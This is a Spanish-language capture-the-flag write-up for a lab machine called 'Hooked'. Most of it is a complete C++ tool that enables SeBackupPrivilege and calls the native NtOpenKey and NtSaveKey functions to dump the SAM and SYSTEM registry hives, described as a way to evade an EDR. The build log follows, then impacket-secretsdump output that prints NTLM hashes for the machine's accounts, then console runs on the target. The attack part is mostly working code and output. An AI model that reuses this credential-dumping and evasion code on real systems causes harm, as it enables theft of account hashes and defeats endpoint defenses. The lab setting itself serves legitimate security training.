

Hooked

Moltencitos Explication

Aunque la machine quiere mostrar el API Hooking (Un tipo de ataque que implica interceptar en plena ejecucion de un proceso "suplantarlo" ejecutando la misma pero de forma malicosa) con tecnicas de LOL o aprovechando funciones totalmente nativas el ntdll.dll para cargar las Registry Key de SAM y SYSTEM seremos capaces de evadir el EDR sin mucho problemas, logrando extraer las base de datos local de hashes de usuario.

```
#include <windows.h>
#include <iostream>
#include <wchar.h>

#pragma comment(lib, "advapi32.lib")

#ifdef KEY_SAVE
#define KEY_SAVE (0x00020000L)
#endif

// --- Reemplazo manual de RtlInitUnicodeString ---
inline void MyRtlInitUnicodeString(PUNICODE_STRING Dest, PCWSTR Src) {
    if (Src) {
        size_t len = wcslen(Src) * sizeof(WCHAR);
        Dest->Length = (USHORT)len;
        Dest->MaximumLength = (USHORT)(len + sizeof(WCHAR));
        Dest->Buffer = (PWCH)Src;
    }
    else {
        Dest->Length = 0;
        Dest->MaximumLength = 0;
        Dest->Buffer = nullptr;
    }
}

// --- Habilitar privilegio SeBackupPrivilege ---
bool EnableBackupPrivilege() {
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
    &hToken))
        return false;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    if (!LookupPrivilegeValueW(nullptr, SE_BACKUP_NAME, &luid)) {
        CloseHandle(hToken);
        return false;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    bool success = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), nullptr, nullptr);
    DWORD err = GetLastError();
    CloseHandle(hToken);
    return success && (err == ERROR_SUCCESS);
}

// --- Guardar un hive usando NtOpenKey y NtSaveKey (desde ntdll) ---
```

```

bool SaveRegistryHive(const wchar_t* ntPath, const wchar_t* outputFile) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) {
        std::cerr << "[-] No se pudo cargar ntdll.dll" << std::endl;
        return false;
    }

    // Obtener punteros a las funciones nativas
    using NtOpenKey_t = NTSTATUS(NTAPI*)(PHKEY, ACCESS_MASK, POBJECT_ATTRIBUTES);
    using NtSaveKey_t = NTSTATUS(NTAPI*)(HKEY, HANDLE);
    using NtClose_t = NTSTATUS(NTAPI*)(HANDLE);

    auto NtOpenKey = (NtOpenKey_t)GetProcAddress(hNtdll, "NtOpenKey");
    auto NtSaveKey = (NtSaveKey_t)GetProcAddress(hNtdll, "NtSaveKey");
    auto NtClose = (NtClose_t)GetProcAddress(hNtdll, "NtClose");

    if (!NtOpenKey || !NtSaveKey || !NtClose) {
        std::cerr << "[-] No se encontraron las funciones en ntdll.dll" << std::endl;
        return false;
    }

    UNICODE_STRING objName;
    MyRtlInitUnicodeString(&objName, ntPath);
    OBJECT_ATTRIBUTES objAttr;
    InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, nullptr, nullptr);

    HKEY hKey = nullptr;
    NTSTATUS status = NtOpenKey(&hKey, KEY_READ | KEY_SAVE, &objAttr);
    if (status != 0) {
        std::wcerr << L"[ERROR] NtOpenKey falló en " << ntPath << L" status=0x" << std::hex
        << status << std::dec << std::endl;
        return false;
    }

    HANDLE hFile = CreateFileW(outputFile, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL, nullptr);
    if (hFile == INVALID_HANDLE_VALUE) {
        std::wcerr << L"[ERROR] No se pudo crear " << outputFile << L", error=" <<
        GetLastError() << std::endl;
        NtClose((HANDLE)hKey);
        return false;
    }

    status = NtSaveKey(hKey, hFile);
    if (status != 0) {
        std::wcerr << L"[ERROR] NtSaveKey falló en " << ntPath << L" status=0x" << std::hex
        << status << std::dec << std::endl;
        CloseHandle(hFile);
        NtClose((HANDLE)hKey);
        return false;
    }

    CloseHandle(hFile);
    NtClose((HANDLE)hKey);
    std::wcout << L"[+] Hive guardado: " << outputFile << std::endl;
    return true;
}

int main() {

```

```

    if (!EnableBackupPrivilege()) {
        std::cerr << "[-] No se pudo habilitar SE_BACKUP_NAME. Ejecuta como Administrador."
    << std::endl;
        return 1;
    }
    std::wcout << L"[+] Privilegio SE_BACKUP_NAME habilitado." << std::endl;

    bool samOk = SaveRegistryHive(L"\\Registry\\Machine\\SAM", L"SAM_nt.hive");
    bool systemOk = SaveRegistryHive(L"\\Registry\\Machine\\SYSTEM", L"SYSTEM_nt.hive");

    if (samOk && systemOk)
        std::wcout << L"\n[✓] Hives guardados exitosamente." << std::endl;
    else
        std::wcerr << L"\n[X] Falló la generación de uno o ambos hives." << std::endl;

    return 0;
}

```

Las acciones del código son simples:

1. Se "habilita" el `SeBackupPrivilege` en el uso del malware que permite la recuperación del contenido del archivo, incluso si es posible que el descriptor de seguridad del archivo no conceda ese acceso `SeBackupPrivilege`
2. Se realiza copias de los Registros SAM y SYSTEM ubicados en `\\Registry\\Machine\\SAM` y `\\Registry\\Machine\\SYSTEM` correspondientemente. Estas copias se realizan siguiendo estos pasos:
 1. Ubicamos de `ntdll.dll` las funciones nativas `NtOpenKey`, `NtSaveKey` y `NtClose` funciones que permiten un manejo DIRECTO con los registry keys
 2. En la línea 75 se pasa el puntero de la key que se recibe como parametros con la propiedad `KEY_READ` y `KEY_SAVE` creando la ruta de la acceder
 3. En la línea 90 directamente se guarda la key en un archivo tipo `hive` que almacena registry keys

Como se explica y ve en el código solamente con aprovechar funciones NATIVAS de la Windows API se logra evadir defensas de forma exitosa.

```
Archivo Editar Ver Git Proyecto Compilar Depurar Prueba Herramientas Extensiones Ventana Ayuda Q Buscar Dumper
Release x64 No hay argumentos de Depurador local de Windows Automático
Dumper.cpp (Ámbito global)
// Obtener punteros a las funciones nativas
54 using NtOpenKey_t = NTSTATUS(NTAPI*)(PHKEY, ACCESS_MASK, POBJECT_ATTRIBUTES);
55 using NtSaveKey_t = NTSTATUS(NTAPI*)(HKEY, HANDLE);
56 using NtClose_t = NTSTATUS(NTAPI*)(HANDLE);
57
58
59 auto NtOpenKey_t NtOpenKey = (NtOpenKey_t)GetProcAddress(hModule: hNtdll, LpProcName: "NtOpenKey");
60 auto NtSaveKey_t NtSaveKey = (NtSaveKey_t)GetProcAddress(hModule: hNtdll, LpProcName: "NtSaveKey");
61 auto NtClose_t NtClose = (NtClose_t)GetProcAddress(hModule: hNtdll, LpProcName: "NtClose");
62
63 if (!NtOpenKey || !NtSaveKey || !NtClose) {
64     std::cerr << "[~] No se encontraron las funciones en ntdll.dll" << std::endl;
65     return false;
66 }
67
68
69 UNICODE_STRING objName;
70 MyRtlInitUnicodeString(Dest: &objName, Src: ntPath);
71 OBJECT_ATTRIBUTES objAttr;
72 InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
73
74 HKEY hKey = nullptr;
75 NTSTATUS status = NtOpenKey(&hKey, KEY_READ | KEY_SAVE, &objAttr);
76 if (status != 0) {
77     std::wcerr << L"[ERROR] NtOpenKey falló en " << ntPath << L" status=0x" << std::hex << status << std::dec << std::endl;
78     return false;
79 }
80
81
82 HANDLE hFile = CreateFileW(LpFileName: outputFile, dwDesiredAccess: GENERIC_WRITE, dwShareMode: 0, lpSecurityAttributes: nullptr, dwCreat
83 if (hFile == INVALID_HANDLE_VALUE) {
84     std::wcerr << L"[ERROR] No se pudo crear " << outputFile << L", error=" << GetLastError() << std::endl;
85 }
86
144% No se encontraron problemas.
```

Salida

Mostrar salida de: Compilación

Compilación iniciada a las 19:14...

1>----- Operación Compilar iniciada: Proyecto: Dumper, configuración: Release x64 -----

1> Dumper.cpp

1> Generando código

1> 1 of 28 functions (3.6%) were compiled, the rest were copied from previous compilation.

1> 0 functions were new in current compilation

1> 1 functions had inline decision re-evaluated but remain unchanged

1> Generación de código finalizada

1> Dumper.vcxproj -> D:\VALDEV\modulos\Dumper\x64\Release\Dumper.exe

----- Compilación: 1 correcto, 0 erróneo, 0 actualizado, 0 omitido -----

----- Compilar completado a las 19:14 y tardó 02.270 segundos -----

```
(kali@kali) ~/machines/hooked_10.129.230.177
$ impacket-secretsdump -sam SAM_nt.hive -system SYSTEM_nt.hive LOCAL
impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

*) Target system bootKey: 0x16b412eaedb652ad9007514dc1e32692
*) Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:66414095c9017d8a90045759f2fbd2f6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:ea1972deca9cad4913c001b9a6c4f998:::
Lawrence:1002:aad3b435b51404eeaad3b435b51404ee:640bec4083b791dc3a7f72b6b5956fda:::
*) Cleaning up...

(kali@kali) ~/machines/hooked_10.129.230.177
$
```

FreeRDP: 10.129.230.177

Select Administrator: Command Prompt

C:\Users\Administrator\Desktop>.Dumper.exe

[+] Privilegio SE_BACKUP_NAME habilitado.

[+] SSNs: NtOpenKey=0x13, NtSaveKey=0x184, NtClose=0xf

[ERROR] NtOpenKey (syscall) falló en \Registry\Machine\SAM, status=0xc000000d

[ERROR] NtOpenKey (syscall) falló en \Registry\Machine\SYSTEM, status=0xc000000d

C:\Users\Administrator\Desktop>.Dumper.exe

[+] Privilegio SE_BACKUP_NAME habilitado.

[+] Hive guardado: SAM_nt.hive

[+] Hive guardado: SYSTEM_nt.hive

C:\Users\Administrator\Desktop>.Dumper.exe

[ERROR] NtSaveKey falló en \Registry\Machine\SAM status=0xc0000061

[ERROR] NtSaveKey falló en \Registry\Machine\SYSTEM status=0xc0000061

C:\Users\Administrator\Desktop>.Dumper1.exe

[+] Privilegio SE_BACKUP_NAME habilitado.

[+] Hive guardado: SAM_nt.hive

[+] Hive guardado: SYSTEM_nt.hive



You have pwned Hooked !

Congratulations



MoltenGamaLujanCarrion , you have successfully pwned

Hooked Machine

Continue